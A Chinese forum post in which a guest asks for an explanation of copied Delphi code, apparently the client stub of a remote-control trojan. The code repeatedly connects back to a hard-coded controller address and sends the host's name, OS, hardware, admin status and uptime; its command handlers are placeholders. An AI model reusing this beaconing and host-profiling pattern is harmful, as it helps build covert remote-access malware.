H
hksoobe
Unregistered / Unconfirmed
GUEST, unregistred user!
在MYBR看到别人贴的代码正好可以说明我的问题,请会的朋友帮解释下这加粗部分的代码program mininet;uses Windows, Winsock,var Sock:TSocket; Addr:TSockAddrIn; WSA :TWSAData; dns:string; port:integer; bb:dword; msg:tmsg;/////////////////////////////////////////////////////////////////////////////Procedure netr; //主要工作接收信息,//收到为11标志,就发送上线信息,收到22就......收到33.....后面都是你的功能了//11标志要发送的ss内容,改成你的Var Len: Integer; ss:string; Buf: array[0..2047] of Char;Begin Repeat fillchar(Buf,2048,0); Len := Recv(Sock, Buf, 2048, 0); If Len <= 0 Then Break; begin Case strtoint(copy(buf,1,2)) of //上线信息 11: begin //接收:计算机名+IP+系统类型+上线类型+备注信息+ 视频+ping+admin权+分组 ss:='46'+getPC //计算机名 1 +'|'+getos //系统类型 2 +'|'+getnet //网络类型 3 +'|'+'备注' //备注信息 4 +'|'+inttostr(GetCPUSpeed) //CPU频率 5 +'|'+inttostr(GetCpuInfo.PhysicalCore) //CPU数量 6 +'|'+memdx(1) //内存大小 7 +'|'+'100' //ping 8 +'|'+adminy //是否管理员 9 +'|'+GetUptime(); //在线时长 send(sock,ss[1],length(ss),0); //发送上线主机信息 end; 22: begin messagebox(0,'第一个功能','11',0); end; 33: begin //手PING messagebox(0,'第二个功能','11',0); end; {........} end; end; Until 0 = 1;end;Procedure lines; //连接 //winsock最简单模型var ss:string; Beginrepeat //问题在这段 这里是一个死循环程序不结束是在不断执行这段代码的 WSAStartUP($0101,WSA); Sock := Socket(AF_INET,SOCK_STREAM,0); Addr.sin_family := AF_INET; Addr.sin_port := hTons(port); Addr.sin_addr.S_addr :=inet_addr(PChar(dns)); if Connect(Sock, Addr, SizeOf(Addr))=0 then begin //如果连接上发送上线标志,那也就是说,这样当与客户端连接成功后会不停的发送上线标志,如果主机多些那客户端不是忙死了一秒钟一个主机就发送一次上线标志,那么多主机不是客户端要瘫痪了? ss:='okok'; send(Sock,ss[1],2,0); netr; //按收数据 end; closesocket(sock); //这里每次循环连接成功后发送上线标志后做什么又要关了套接呢?这样不是又断了连接了吗?这次每秒钟发送上线标志又关了,有意思吗? WSACleanUP; sleep(1000); until 0>1 ;End;begin dns:='192.168.1.8'; //设定IP port:=strtoint('9090'); //设定上线端口 CreateThread(nil , 0, @lines, nil, 0, bb); while GetMessage(Msg,0,0,0) do //另外这是做什么的啊! begin TranslateMessage(Msg); DispatchMessage(Msg); end;end.[red]请帮我解释下谢谢了![/red]